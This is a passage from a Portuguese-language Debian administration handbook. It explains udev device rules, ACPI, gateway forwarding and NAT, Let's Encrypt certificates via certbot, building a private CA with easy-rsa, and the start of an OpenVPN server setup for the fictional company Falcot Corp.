Quando o udev é notificado pelo núcleo do aparecimento de um novo dispositivo, ele coleta várias informações do referido dispositivo consultando as entradas correspondentes em /sys/, especialmente aquelas que o identificam como único (endereço MAC para uma placa de rede, número serial para alguns dispositivos USB, etc.).

Armado com toda essa informação, o udev então consulta todas as regras contidas em /etc/udev/rules.d/ e /lib/udev/rules.d/. Neste processo ele decide como nomear o dispositivo, quais ligações simbólicas criar (para dar nomes alternativos), e quais comandos executar. Todos esses arquivos são consultados, e as regras são todas avaliadas sequencialmente (exceto quando um arquivo usa a diretiva “GOTO”). Assim, pode haver várias regras que correspondem a um determinado evento.

A sintaxe dos arquivos de regras é bem simples: cada linha contém critérios de seleção e atribuições de variáveis. Os primeiros são usados para selecionar eventos para os quais existe uma necessidade de reagir, e os últimos definem a ação a ser tomada. Todos são simplesmente separados com vírgulas, e o operador implicitamente diferencia entre um critério de seleção (com operadores de comparação, como == ou !=) ou uma diretiva de atribuição (com operadores como =, += ou :=).

Operadores de comparação são usados nas seguintes variáveis:

NÚCLEO: o nome que o núcleo atribui ao dispositivo;

AÇÃO: a ação correspondente ao evento (“add” quando o dispositivo tiver sido adicionado, "remove” quando ele tiver sido removido);

DEVPATH: o caminho da entrada /sys/ do dispositivo;

SUBSYSTEM: o subsistema do núcleo que gerou a requisição (existem muitos, mas alguns exemplos são “usb”, “ide”, “net”, “firmware”, etc.);

ATTR{attribute}: conteúdo do arquivo attribute no diretório /sys/$devpath/ do dispositivo. É onde você encontra o endereço MAC e outros identificadores específicos de barramento;

KERNELS, SUBSYSTEMS e ATTRS{attributes} são variações que irão tentar combinar as diferentes opções sobre um dos dispositivos pai do atual dispositivo;

PROGRAM: delega o teste ao programa indicado (verdadeiro se retorna 0, falso caso não). O conteúdo da saída padrão do programa é armazenado para que ele possa ser reusado pelo teste RESULT;

RESULT: executa testes na saída padrão armazenada durante a última chamada ao PROGRAM.

Os operadores da direita podem usar expressões padrão para casar com vários valores ao mesmo tempo. Por exemplo, * casa com qualquer cadeia de caracteres (mesmo uma vazia); ? casa com qualquer caractere, e [] casa com um conjunto de caracteres listados entre o par de colchetes (ou o oposto do mesmo se o primeiro caractere for um ponto de exclamação, e intervalos contíguos de caracteres são indicados como a-z).

Em consideração aos operadores de atribuição, = atribui um valor (e substitui o valor corrente); no caso de uma lista, ela é esvaziada e contém apenas o valor atribuído. := faz o mesmo, mas previne alterações posteriores a mesma variável. Quanto a +=, ele adiciona um item a lista. As seguintes variáveis podem ser alteradas:

NAME: o nome de arquivo do dispositivo a ser criado em /dev/. Apenas a primeira atribuição conta; as outras são ignoradas;

SYMLINK: a lista de ligações simbólicas que irão apontar para o mesmo dispositivo;

OWNER, GROUP e MODE definem o usuário e grupo a quem pertence o dispositivo, assim como as permissões associadas;

RUN: a lista de programas a executar em resposta a este evento.

Os valores atribuídos a essas variáveis podem usar um número de substituições:

$kernel ou %k: equivalente a KERNEL;

$number ou %n: o número de ordem do dispositivo, por exemplo, para sda3, ele seria “3”;

$devpath ou %p: equivalente a DEVPATH;

$attr{attribute} ou %s{attribute}: equivalente a ATTRS{attribute};

$major ou %M: o maior número de núcleo do dispositivo;

$minor ou %m: o menor número do núcleo do dispositivo ;

$result ou %c: a cadeia de caracteres emitida ("output") pelo último programa invocado pelo PROGRAM;

e, finalmente, %% e $$ para os sinais de porcento e dólar, respectivamente.

The above lists are not complete (they include only the most important parameters), but the udev(7) manual page should be exhaustive.

9.11.4. Um exemplo concreto

Vamos considerar o caso de uma simples chave USB e tentar atribuir um nome fixo para ela. Primeiro, você tem que encontrar os elementos que iram identificar ela de uma maneira única. Para isso, conecte ela e rode udevadm info -a -n /dev/sdc (substituindo /dev/sdc pelo real nome atribuído a chave).

# udevadm info -a -n /dev/sdc [...] looking at device '/devices/pci0000:00/0000:00:10.0/usb2/2-1/2-1:1.0/host4/target4:0:0/4:0:0:0/block/sdc': KERNEL=="sdc" SUBSYSTEM=="block" DRIVER=="" ATTR{hidden}=="0" ATTR{events}=="media_change" ATTR{ro}=="0" ATTR{discard_alignment}=="0" ATTR{removable}=="1" ATTR{events_async}=="" ATTR{alignment_offset}=="0" ATTR{capability}=="51" ATTR{events_poll_msecs}=="-1" ATTR{stat}=="130 0 6328 435 0 0 0 0 0 252 252 0 0 0 0" ATTR{size}=="15100224" ATTR{range}=="16" ATTR{ext_range}=="256" ATTR{inflight}=="0 0" [...] looking at parent device '/devices/pci0000:00/0000:00:10.0/usb2/2-1/2-1:1.0/host4/target4:0:0/4:0:0:0': [...] ATTRS{max_sectors}=="240" [...] looking at parent device '/devices/pci0000:00/0000:00:10.0/usb2/2-1': KERNELS=="2-1" SUBSYSTEMS=="usb" DRIVERS=="usb" ATTRS{bDeviceProtocol}=="00" ATTRS{bNumInterfaces}==" 1" ATTRS{busnum}=="2" ATTRS{quirks}=="0x0" ATTRS{authorized}=="1" ATTRS{ltm_capable}=="no" ATTRS{speed}=="480" ATTRS{product}=="TF10" ATTRS{manufacturer}=="TDK LoR" [...] ATTRS{serial}=="07032998B60AB777" [...]

Para criar uma nova regra, você pode usar testes nas variáveis do dispositivo, bem como aquelas de um dos dispositivos mãe. O caso acima permite-nos criar duas regras como essa:

KERNEL=="sd?", SUBSYSTEM=="block", ATTRS{serial}=="07032998B60AB777", SYMLINK+="usb_key/disk" KERNEL=="sd?[0-9]", SUBSYSTEM=="block", ATTRS{serial}=="07032998B60AB777", SYMLINK+="usb_key/part%n"

Uma vez que essas regras estejam definidas em um arquivo, nomeado por exemplo como /etc/udev/rules.d/010_local.rules, você pode simplesmente remover e reconectar o dispositivo USB. Você pode então ver que /dev/usb_key/disk representa o disco associado ao dispositivo USB, e /dev/usb_key/part1 é sua primeira partição.

INDO ALÉM Depurando a configuração do udev

Como muitos daemons, o udevd armazena os seus logs em /var/log/daemon.log. Mas ele não é muito detalhado por padrão, e sendo assim, geralmente não é suficiente para se entender o que está acontecendo. O comando udevadm control --log-priority=info incrementa o nível de detalhamento e resolve esse problema. udevadm control --log-priority=err retorna ao nível de detalhamento padrão.

9.12. Gerenciamento de Energia: Advanced Configuration and Power Interface (ACPI)

O tópico de gerenciamento de energia geralmente é problemático. Na verdade, suspender corretamente o computador requer que todos os drives de dispositivos do computador saibam como colocá-los em espera (standby), e que eles reconfigurem corretamente os dispositivos ao acordar. Infelizmente, ainda existem alguns dispositivos que não são capazes de dormir bem sob o Linux, porque seus fabricantes não forneceram as especificações necessárias.

Linux supports ACPI (Advanced Configuration and Power Interface) — the most recent standard in power management. The acpid package provides a daemon that looks for power management related events (switching between AC and battery power on a laptop, etc.) and that can execute various commands in response.

ATENÇÃO Placas gráficas e espera (standby)

O driver da placa gráfica é, muitas vezes, o culpado quando a espera (standby) não funciona apropriadamente. Neste caso, é uma boa ideia testar a última versão do servidor gráfico X.org.

Após esta visão geral dos serviços básicos comuns a muitos sistemas Unix, vamos nos concentrar no ambiente das máquinas administrados: a rede. Muitos serviços são necessários para que a rede funcione corretamente. Eles serão discutidos no próximo capítulo.

Capítulo 10. Infraestrutura de Rede

O Linux dispõe de toda a tradição do Unix na área de redes, e o Debian fornece um conjunto completo de ferramentas para criar e gerenciar tais redes. Este capítulo apresenta estas ferramentas.

10.1. Gateway

Um gateway é um sistema de ligação de várias redes. Este termo frequentemente se refere ao "ponto de saída" de uma rede local no caminho obrigatório para endereços IP externos. O gateway está ligado a cada uma das redes que une e atua como um roteador para transmitir pacotes IP entre suas várias interfaces.

DE VOLTA AO BÁSICO pacote IP

A maioria das redes atualmente utiliza o protocolo IP (Internet Protocol). Este protocolo segmenta a transmissão dos dados em pacotes de tamanho limitado. Cada pacote contém, em adição aos seus dados úteis, uma quantidade de detalhes necessários para seu próprio roteamento.

DE VOLTA AO BÁSICO TCP/UDP

Muitos programas não manipulam os pacotes individuais por si sós, mesmo que os dados que eles transmitam trafeguem sobre IP; Eles geralmente usam TCP (Transmission Control Protocol). TCP é uma camada acima do IP que permite o estabelecimento de conexões dedicadas a fluxos de dados entre dois pontos. Os programas então veem apenas um ponto de entrada no qual os dados podem ser enviados com a garantia que os mesmos dados vão sair sem perdas (e na mesma sequência) no ponto de saída na outra extremidade da conexão. Embora muitos tipos de erros possam acontecer em camadas mais baixas, eles são compensados pelo TCP: pacotes perdidos são retransmitidos, e pacotes chegando fora de ordem (por exemplo, se pegaram caminhos diferentes) são reordenados corretamente.

Outro protocolo que se baseia no IP é o UDP (User Datagram Protocol). Ao contrário do TCP, ele é orientado a pacote. Seus objetivos são diferentes: O objetivo do UDP é apenas transmitir um pacote de uma aplicação para outra. O protocolo não tenta compensar possíveis perdas de pacotes no caminho, nem garante que pacotes são recebidos na ordem em que foram enviados. A principal vantagem deste protocolo é que a latência fica muito melhor, uma vez que a perda de um pacote único não atrasa o recebimento de todos os pacotes seguintes até que o que se perdeu seja retransmitido.

TCP e UDP ambos envolvem portas, que são "números de ramal" para estabelecer a comunicação com um determinado aplicativo em uma máquina. Este conceito permite manter várias comunicações diferentes em paralelo com o mesmo correspondente, já que estas comunicações podem ser diferenciadas pelo número da porta.

Alguns desses números de portas — padronizados pela IANA (Internet Assigned Numbers Authority) — são "famosos" por estarem associados a certos serviços de rede. Por exemplo, a porta TCP 25 é geralmente usada pelo servidor de e-mail. A lista de serviços associada com números de porta pode ser encontrada no arquivo /etc/services, também explicada em services(5), assim como em:

→ https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml

Quando uma rede local usa um intervalo de endereços privado (não roteável na Internet), o gateway precisa implementar mascaramento de endereço para que as máquinas na rede possam se comunicar com o mundo exterior. A operação de mascaramento é um tipo de operação de proxy no nível de rede: cada conexão saindo de uma máquina interna é substituída com uma conexão do próprio gateway (já que o gateway tem um endereço externo e roteável), os dados passando pela conexão mascarada são enviados para a nova, e os dados voltando como resposta são enviados através da conexão mascarada para a máquina interna. O gateway usa um intervalo de portas TCP dedicadas para este objetivo, normalmente com números bastante altos (acima de 60000). Cada conexão vindo de uma máquina interna aparece então para o mundo exterior como uma conexão vindo de uma destas portas reservadas.

CULTURA Série de Endereços Privados

A RFC 1918 define três intervalos de endereços IPv4 que não devem ser roteados na Internet mas apenas usados em redes locais. O primeiro, 10.0.0.0/8 (veja na barra lateral DE VOLTA AO BÁSICO Conceitos essenciais de rede (Ethernet, endereço IP, sub-rede, broadcast)), é um intervalo de classe A (com 2²⁴ endereços IP). O segundo, 172.16.0.0/12, trás 16 intervalos de classe B (172.16.0.0/16 a 172.31.0.0/16), cada um contendo 2¹⁶ endereços IP. Finalmente, 192.168.0.0/16 é um intervalo de classe B (agrupando 256 intervalos de classe C, 192.168.0.0/24 a 192.168.255.0/24, com 256 endereços IP cada).

→ http://www.faqs.org/rfcs/rfc1918.html

O gateway também pode realizar dois tipos de NAT (network address translation ou tradução de endereço de rede). O primeiro tipo, DNAT (Destination NAT ou NAT no destino) é uma técnica para alterar o endereço IP de destino (e/ou a porta TCP ou UDP) para uma conexão (geralmente) entrando. O mecanismo de rastreio de conexão também altera os seguintes pacotes na mesma conexão para garantir a continuidade na comunicação. O segundo tipo de NAT é o SNAT (Source NAT ou NAT na origem), do qual masquerading (ou mascaramento) é um caso particular; SNAT altera o endereço IP de origem (e/ou a porta TCP ou UDP) de uma conexão (geramente) saindo. Assim como no DNAT, todos os pacotes na conexão são apropriadamente manipulados pelo mecanismo de rastreio de conexão. Observe que o NAT só é relevante para o IPv4 e seu espaço de endereços limitado; no IPv6, a ampla disponibilidade de endereços reduz grandemente a utilidade de NAT permitindo que todo endereço "interno" possa ser diretamente roteável na Internet (isto não implica que as máquinas internas serão acessíveis, uma vez que firewalls intermediários possam filtrar o tráfego).

DE VOLTA AO BÁSICO Encaminhamento de porta

Uma aplicação concreta do DNAT é o port forwarding (encaminhamento de portas). Conexões chegando numa porta de uma máquina são direcionadas para uma porta de outra máquina. Outras soluções podem existir para se chegar a um efeito similar, entretanto. Especialmente no nível de aplicação com ssh (veja em Seção 9.2.1.4, “Criando Túneis Criptografados com Encaminhamento de Porta”) ou redir.

Chega de teoria, vamos para a prática. Fazer do Debian um gateway é simplesmente habilitar a opção apropriada no núcleo Linux, através do sistema de arquivos virtual /proc/:

# echo 1 > /proc/sys/net/ipv4/conf/default/forwarding

This option can also be automatically enabled on boot if /etc/sysctl.conf or a configuration file in /etc/sysctl.d/ sets the net.ipv4.conf.default.forwarding option to 1.

Exemplo 10.1. O arquivo /etc/sysctl.conf

net.ipv4.conf.default.forwarding = 1 net.ipv4.conf.default.rp_filter = 1 net.ipv4.tcp_syncookies = 1

O mesmo efeito pode ser obtido para o IPv6 simplesmente substituindo o ipv4 por ipv6 no comando manual e usando a linha net.ipv6.conf.all.forwarding em /etc/sysctl.conf.

Habilitando mascaramento IPv4 é uma operação um pouco mais complexa que envolve configurar o firewall netfilter.

Similarmente, o uso do NAT (para IPv4) requer a configuração do netfilter. Uma vez que o objetivo primário deste componente é filtragem de pacotes, os detalhes são listados em Capítulo 14: “Segurança” (veja em Seção 14.2, “Firewall ou Filtragem de pacotes”).

10.2. Certificados X.509

Certificados são um importante bloco de construção de muitos serviços de rede construídos sobre protocolos criptográficos quando precisam de alguma forma de autenticação central.

Entre esses protocolos, o SSL (Secure Socket Layer) foi inventado pela Netscape para dar segurança às conexões com servidores web. Posteriormente foi padronizado pela IETF sob o acrônimo TLS (Transport Layer Security). Desde então, o TLS continuou a evoluir e hoje em dia o SSL está obsoleto devido a múltiplas falhas de projeto que têm sido descobertas.

O protocolo TLS tem o objetivo principal de fornecer privacidade e integridade de dados entre dois ou mais aplicativos de computador em comunicação. A maior parte dos casos comuns na Internet é a comunicação entre um cliente (por exemplo, um navegador web) e um servidor.

A key pair is needed for the exchange of information, which involves a public key that includes information about the identity of the owner and matches a private key. The private key must be kept secret, otherwise the security is compromised. However, anyone can create a key pair, store any identity on it, and pretend to be the identity of their choice. One solution involves the concept of a Certification Authority (CA), formalized by the X.509 standard. This term covers an entity that holds a trusted key pair known as a root certificate. This certificate is only used to sign other certificates (key pairs), after proper steps have been undertaken to check the identity stored on the key pair. Applications using X.509 can then check the certificates presented to them, if they know about the trusted root certificates.

Você pode implementar uma CA (como descrito em Seção 10.2.2, “Infraestrutura de Chaves Públicas: easy-rsa”), mas se pretende usar o certificado para um site web, deve se basear em um CA confiável. Os preços variam significativamente, mas é possível implementar boa segurança gastando pouco ou nada.

10.2.1. Criando certificados confiáveis grátis

Many programs create and use snakeoil certificates by default (see sidebar SEGURANÇA Certificados SSL Snake oil). Fortunately the certbot package brings everything we need to create our own trusted certificates, provided by the "Lets Encrypt" initiative (see sidebar CULTURA Iniciativa Let's Encrypt), which can also be used for mail transport agents (Postfix), mail delivery agents (Dovecot, Cyrus, etc.), and other network services.

Os administradores da Falcot só querem criar um certificado para o site web, o qual roda sobre o Apache. Existe uma extensão conveniente do Apache para certbot que automaticamente edita a configuração do Apache para servir o certificado obtido para que eles o usem:

# apt install python3-certbot-apache [...] # certbot --apache aving debug log to /var/log/letsencrypt/letsencrypt.log Plugins selected: Authenticator apache, Installer apache Enter email address (used for urgent renewal and security notices) (Enter 'c' to cancel): admin@falcot.com - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Please read the Terms of Service at https://letsencrypt.org/documents/LE-SA-v1.2-November-15-2017.pdf. You must agree in order to register with the ACME server. Do you agree? - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - (Y)es/(N)o: Y - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Would you be willing, once your first certificate is successfully issued, to share your email address with the Electronic Frontier Foundation, a founding partner of the Let's Encrypt project and the non-profit organization that develops Certbot? We'd like to send you email about our work encrypting the web, EFF news, campaigns, and ways to support digital freedom. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - (Y)es/(N)o: N Account registered. No names were found in your configuration files. Please enter in your domain name(s) (comma and/or space separated) (Enter 'c' to cancel): falcot.com Requesting a certificate for falcot.com Performing the following challenges: http-01 challenge for falcot.com Enabled Apache rewrite module Waiting for verification... Cleaning up challenges Created an SSL vhost at /etc/apache2/sites-available/000-default-le-ssl.conf Enabled Apache socache_shmcb module Enabled Apache ssl module Deploying Certificate to VirtualHost /etc/apache2/sites-available/000-default-le-ssl.conf Enabling available site: /etc/apache2/sites-available/000-default-le-ssl.conf Please choose whether or not to redirect HTTP traffic to HTTPS, removing HTTP access. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 1: No redirect - Make no further changes to the webserver configuration. 2: Redirect - Make all requests redirect to secure HTTPS access. Choose this for new sites, or if you're confident your site works on HTTPS. You can undo this change by editing your web server's configuration. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Select the appropriate number [1-2] then [enter] (press 'c' to cancel): 2 Enabled Apache rewrite module Redirecting vhost in /etc/apache2/sites-enabled/000-default.conf to ssl vhost in /etc/apache2/sites-available/000-default-le-ssl.conf - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Congratulations! You have successfully enabled https://falcot.com You should test your configuration at: https://www.ssllabs.com/ssltest/analyze.html?d=falcot.com - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - IMPORTANT NOTES: - Congratulations! Your certificate and chain have been saved at: /etc/letsencrypt/live/falcot.com/fullchain.pem Your key file has been saved at: /etc/letsencrypt/live/falcot.com/privkey.pem Your cert will expire on 2022-06-04. To obtain a new or tweaked version of this certificate in the future, simply run certbot again with the "certonly" option. To non-interactively renew *all* of your certificates, run "certbot renew" - Your account credentials have been saved in your Certbot configuration directory at /etc/letsencrypt. You should make a secure backup of this folder now. This configuration directory will also contain certificates and private keys obtained by Certbot so making regular backups of this folder is ideal. - If you like Certbot, please consider supporting our work by: Donating to ISRG / Let's Encrypt: https://letsencrypt.org/donate Donating to EFF: https://eff.org/donate-le

CULTURA Iniciativa Let's Encrypt

A iniciativa Let's Encrypt é um esforço conjunto para criar uma autoridade certificadora (certificate authority - CA) aberta, livre e automatizada, que é gerida para o interesse público. Esta iniciativa é apoiada pela EFF e Linux Foundation. Ela provê uma ferramenta automatizada para a aquisição e renovação de certificados. Isso reduz o volume de esforço manual necessário, especialmente se múltiplos sites e domínios precisarem ser geridos. Os certificados também podem ser utilizados para servidores SIP, XMPP, WebSockets e TURN. A utilização do serviço requer o controle sobre as informações DNS do domínio em questão (validação do domínio).

→ https://letsencrypt.org/pt-br/how-it-works/

Se você preferir manter o servidor rodando durante a criação do certificado, você pode utilizar o plugin webroot com os argumentos certonly e --webroot para obter o certificado. Você precisará utilizar o argumento --webroot-path (ou a abreviação -w), que deve especificar os arquivos que serão servidos. O comando ficaria do seguinte modo:

# certbot certonly --webroot -w /var/www/html -d www.DOMÍNIO.com -d DOMÍNIO.com

Você precisa reiniciar todos os serviços utilizando os certificados que você criou.

Os certificados criados são chamados de certificados de curto prazo, que são válidos por 90 dias e devemser renovados a cada 3 meses utilizando o comando certbot renew . Entretanto, não se deve renovar cada certificado manualmente, mas automaticamente. Um serviço cron básico é incluído pelo certbot no arquivo /etc/cron.d/certbot. Para assegurar que os certificados podem ser renovados automaticamente, você pode executar certbot renew --dry-run.

10.2.2. Infraestrutura de Chaves Públicas: easy-rsa

Também é possível criar a nossa própria autoridade certificadora (certificate authority - CA), para isso usaremos o algoritmo RSA, o qual é amplamente usado em criptografia de chave pública. Trata-se de um “par de chaves”, composto de uma chave privada e uma chave pública. As duas chaves são intimamente ligadas uma a outra, e suas propriedades matemáticas são tais que uma mensagem criptografada com a chave pública só pode ser descriptografada por alguém que conhece a chave privada, o que garante confidencialidade. Na direção oposta, uma mensagem criptografada com a chave privada pode ser descriptografada por qualquer um que saiba a chave pública, o que permite autenticar a origem da mensagem já que apenas alguém com acesso a chave privada poderia gerá-la. Quando associada a uma função digital hash (MD5, SHA1, ou uma variante mais recente), isso leva a um mecanismo de assinatura que pode ser aplicado a qualquer mensagem.

Como CAs públicos apenas emitem certificados em troca de uma (pesada) taxa, também é possível criar um certificado de autoridade privado dentro da companhia. O pacote easy-rsa provê ferramentas que servem como uma infraestrutura de certificação X.509, implementada como um conjunto de scripts usando o comando openssl.

ALTERNATIVA GnuTLS

GnuTLS também pode ser utilizado para gerar um CA, além de lidar com outras tecnologias acerca dos protocolos TLS, DTLS e SSL.

O pacote gnutls-bin contém os utilitários de linha de comando. Também é útil instalar o pacote gnutls-doc, que inclui uma extensa documentação.

os administradores da Falcot Corp usam essa ferramenta para criar os certificados necessários, tanto para servidor quanto para clientes. Isso permite que a configuração de todos os clientes sejam similar já que eles apenas terão de ser configurados para confiar em certificados vindos da CA local da Falcot. Esse CA é o primeiro certificado a ser criado; para esse fim, os administradores configuram um diretório com os arquivos necessários para o CA em um local apropriado, preferencialmente em uma máquina não conectada a rede, de maneira a mitigar o risco da chave privada CA ser roubada.

$ make-cadir pki-falcot $ cd pki-falcot

Eles então armazenam os parâmetros requeridos dentro do arquivo vars, o qual pode ser descomentado e editado:

$ grep EASYRSA vars if [ -z "$EASYRSA_CALLER" ]; then # easyrsa. More specific variables for specific files (e.g., EASYRSA_SSL_CONF) #set_var EASYRSA "${0%/*}" #set_var EASYRSA_OPENSSL "openssl" #set_var EASYRSA_OPENSSL "C:/Program Files/OpenSSL-Win32/bin/openssl.exe" #set_var EASYRSA_PKI "$PWD/pki" #set_var EASYRSA_TEMP_DIR "$EASYRSA_PKI" #set_var EASYRSA_DN "cn_only" set_var EASYRSA_REQ_COUNTRY "FR" set_var EASYRSA_REQ_PROVINCE "Loire" set_var EASYRSA_REQ_CITY "Saint-Étienne" set_var EASYRSA_REQ_ORG "Falcot Corp" set_var EASYRSA_REQ_EMAIL "admin@falcot.com" set_var EASYRSA_REQ_OU "Certificate authority" #set_var EASYRSA_KEY_SIZE 2048 #set_var EASYRSA_ALGO rsa #set_var EASYRSA_CURVE secp384r1 #set_var EASYRSA_CA_EXPIRE 3650 #set_var EASYRSA_CERT_EXPIRE 825 #set_var EASYRSA_CRL_DAYS 180 #set_var EASYRSA_CERT_RENEW 30 #set_var EASYRSA_RAND_SN "yes" #set_var EASYRSA_NS_SUPPORT "no" #set_var EASYRSA_NS_COMMENT "Easy-RSA Generated Certificate" #set_var EASYRSA_TEMP_FILE "$EASYRSA_PKI/extensions.temp" # when undefined here, default behaviour is to look in $EASYRSA_PKI first, then # fallback to $EASYRSA for the 'x509-types' dir. You may override this #set_var EASYRSA_EXT_DIR "$EASYRSA/x509-types" #set_var EASYRSA_KDC_REALM "CHANGEME.EXAMPLE.COM" # EASYRSA_PKI or EASYRSA dir (in that order.) NOTE that this file is Easy-RSA #set_var EASYRSA_SSL_CONF "$EASYRSA/openssl-easyrsa.cnf" #set_var EASYRSA_REQ_CN "ChangeMe" #set_var EASYRSA_DIGEST "sha256" #set_var EASYRSA_BATCH "" $ vim vars $

Agora preparamos o diretório da infraestructura de chave pública com a seguinte ordem:

$ ./easyrsa init-pki init-pki complete; you may now create a CA or requests. Your newly created PKI dir is: /home/debian/pki-falcot/pki

O próximo passo é a criação do próprio par de chaves da CA (as duas partes do par de chaves será armazenada sob pki/ca.crt e pki/private/ca.key durante esse passo). Nós podemos adicionar a opção nopass para evitar digitar a senha toda vez que a chave privada for utilizada:

$ ./easyrsa build-ca nopass Using SSL: openssl OpenSSL 1.1.1k 25 Mar 2021 Generating RSA private key, 2048 bit long modulus (2 primes) ..................+++++ ...............................+++++ e is 65537 (0x010001) You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. ----- Common Name (eg: your user, host, or server name) [Easy-RSA CA]: CA creation complete and you may now import and sign cert requests. Your new CA certificate file for publishing is at: /home/debian/pki-falcot/pki/ca.crt

O certificado pode, agora, ser criado, assim como os parâmetros Diffie-Hellman necessários para o lado do servidor em uma conexão SSL/TLS. Eles querem usá-lo como um servidor VPN (veja a seção Seção 10.3, “Rede Privada Virtual”) que é identificado pelo nome DNS vpn.falcot.com; esse nome é reutilizado nos arquivos de chave gerados (keys/vpn.falcot.com.crt para certificado público, keys/vpn.falcot.com.key para chave privada):

$ ./easyrsa gen-req vpn.falcot.com nopass Using SSL: openssl OpenSSL 1.1.1k 25 Mar 2021 Generating a RSA private key ......................................+++++ ..........................................................................+++++ writing new private key to '/home/debian/pki-falcot/pki/easy-rsa-5515.0PwyXl/tmp.g1c6u6' ----- You are about to be asked to enter information that will be incorporated into your certificate request. What you are about to enter is what is called a Distinguished Name or a DN. There are quite a few fields but you can leave some blank For some fields there will be a default value, If you enter '.', the field will be left blank. ----- Common Name (eg: your user, host, or server name) [vpn.falcot.com]: Keypair and certificate request completed. Your files are: req: /home/debian/pki-falcot/pki/reqs/vpn.falcot.com.req key: /home/debian/pki-falcot/pki/private/vpn.falcot.com.key $ ./easyrsa sign-req server vpn.falcot.com Using SSL: openssl OpenSSL 1.1.1k 25 Mar 2021 You are about to sign the following certificate. Please check over the details shown below for accuracy. Note that this request has not been cryptographically verified. Please be sure it came from a trusted source or that you have verified the request checksum with the sender. Request subject, to be signed as a server certificate for 825 days: subject= commonName = vpn.falcot.com Type the word 'yes' to continue, or any other input to abort. Confirm request details: yes Using configuration from /home/debian/pki-falcot/pki/easy-rsa-5603.87iCIa/tmp.u8r8Fj Check that the request matches the signature Signature ok The Subject's Distinguished Name is as follows commonName :ASN.1 12:'vpn.falcot.com' Certificate is to be certified until May 27 15:26:29 2024 GMT (825 days) Write out database with 1 new entries Data Base Updated Certificate created at: /home/debian/pki-falcot/pki/issued/vpn.falcot.com.crt $ ./easyrsa gen-dh Using SSL: openssl OpenSSL 1.1.1k 25 Mar 2021 Generating DH parameters, 2048 bit long safe prime, generator 2 This is going to take a long time […] DH parameters of size 2048 created at /home/debian/pki-falcot/pki/dh.pem

O próximo passo cria certificados para os clientes VPN; um certificado é necessário para cada computar ou pessoa ser autorizada a usar a VPN:

$ ./easyrsa build-client-full JoeSmith nopass Using SSL: openssl OpenSSL 1.1.1k 25 Mar 2021 Generating a RSA private key ...................................+++++ .........................................................................................+++++ writing new private key to '/home/debian/pki-falcot/pki/easy-rsa-5694.DOYwSn/tmp.RKlbOE' ----- Using configuration from /home/debian/pki-falcot/pki/easy-rsa-5694.DOYwSn/tmp.d5QHAC Check that the request matches the signature Signature ok The Subject's Distinguished Name is as follows commonName :ASN.1 12:'JoeSmith' Certificate is to be certified until May 27 15:29:25 2024 GMT (825 days) Write out database with 1 new entries Data Base Updated

10.3. Rede Privada Virtual

Uma Rede Privada Virtual (ou VPN, de Virtual Private Network) é uma forma de conectar duas redes locais diferentes através de um túnel pela internet; o túnel é normalmente criptografado para confidencialidade. VPNs são em geral usadas para integrar uma máquina remota numa rede local de uma empresa.

Várias ferramentas fornecem esta funcionalidade. O OpenVPN é uma solução eficiente, fácil de publicar e manter, baseado em SSL/TLS. Outra possibilidade é usar o IPsec para criptografar o tráfego IP entre duas máquinas; esta criptografia é transparente, o que significa que aplicações rodando nestas máquinas não precisam ser modificadas para serem compatíveis com VPN. SSH também pode ser usado para fornecer uma VPN, adicionalmente às suas funcionalidades mais convencionais. Finalmente, uma VPN pode ser estabelecida usando o protocolo PPTP da Microsoft. Outras soluções existem, mas estão além do escopo deste livro.

10.3.1. OpenVPN

O OpenVPN é um pedaço de software dedicado a criar redes virtuais privadas. Sua configuração envolve a criação de interfaces de rede virtuais em um servidor VPN e no(s) cliente(s); ambas interfaces tun (para túneis a nível de IP) e tap (para túneis a nível Ethernet) são suportadas. Na prática, as interfaces tun irão geralmente ser as mais usadas, excerto quando os clientes VPN forem feitos para serem integrados na rede local do servidor por meio de uma ponte (bridge) Ethernet.

O OpenVPN depende do OpenSSL para criptografia SSL/TLS e funcionalidades associadas (confidencialidade, autenticação, integridade, não-repudio). Ele pode ser configurado tanto com uma chave privada compartilhada, como usando um certificado X.509 baseado em uma infraestrutura de chave pública. Essa última configuração é fortemente preferida já que permite grande flexibilidade quando lida com um crescente número de usuários "roaming" acessando a VPN.

10.3.1.1. Configurando o Servidor OpenVPN

Após a criação de todos os certificados (siga as instruções de Seção 10.2.2, “Infraestrutura de Chaves Públicas: easy-rsa”), eles precisam ser copiados para um local apropriado: a chave pública do certificado raiz (pki/ca.crt) será armazenada em todas as máquinas (tanto servidor quanto clientes) como /etc/ssl/certs/Falcot_CA.crt. O certificado do servidor é instalado apenas no servidor (pki/issued/vpn.falcot.com.crt vai para /etc/ssl/certs/vpn.falcot.com.crt, e pki/private/vpn.falcot.com.key vai para /etc/ssl/private/vpn.falcot.com.key com restritivas permissões para que apenas o administrador possa lê-la), com os parâmetros Diffie-Hellman correspondentes (pki/dh.pem) instalados em /etc/openvpn/dh.pem. Certificados do clientes são instalados no cliente VPN correspondente de maneira similar.

Por padrão, o script de inicialização do OpenVPN tenta iniciar todas as redes virtuais privadas definidas em /etc/openvpn/*.conf. A configuração de um servidor VPN é portanto uma questão de armazenar o arquivo de configuração correspondente neste diretório. Um bom ponto de partida é o /usr/share/doc/openvpn/examples/sample-config-files/server.conf.gz, que orienta em como ter um servidor padrão. Claro que alguns parâmetros precisam ser adaptados: ca, cert, key e dh precisam descrever as localizações selecionadas (respectivamente, /etc/ssl/certs/Falcot_CA.crt, /etc/ssl/vpn.falcot.com.crt, /etc/ssl/private/vpn.falcot.com.key e /etc/openvpn/dh.pem). A diretiva server 10.8.0.0 255.255.255.0 define a sub-rede a ser usada pela VPN; o servidor usa o primeiro endereço IP nesse intervalo (10.8.0.1) e o resto dos endereços são alocados para os clientes.

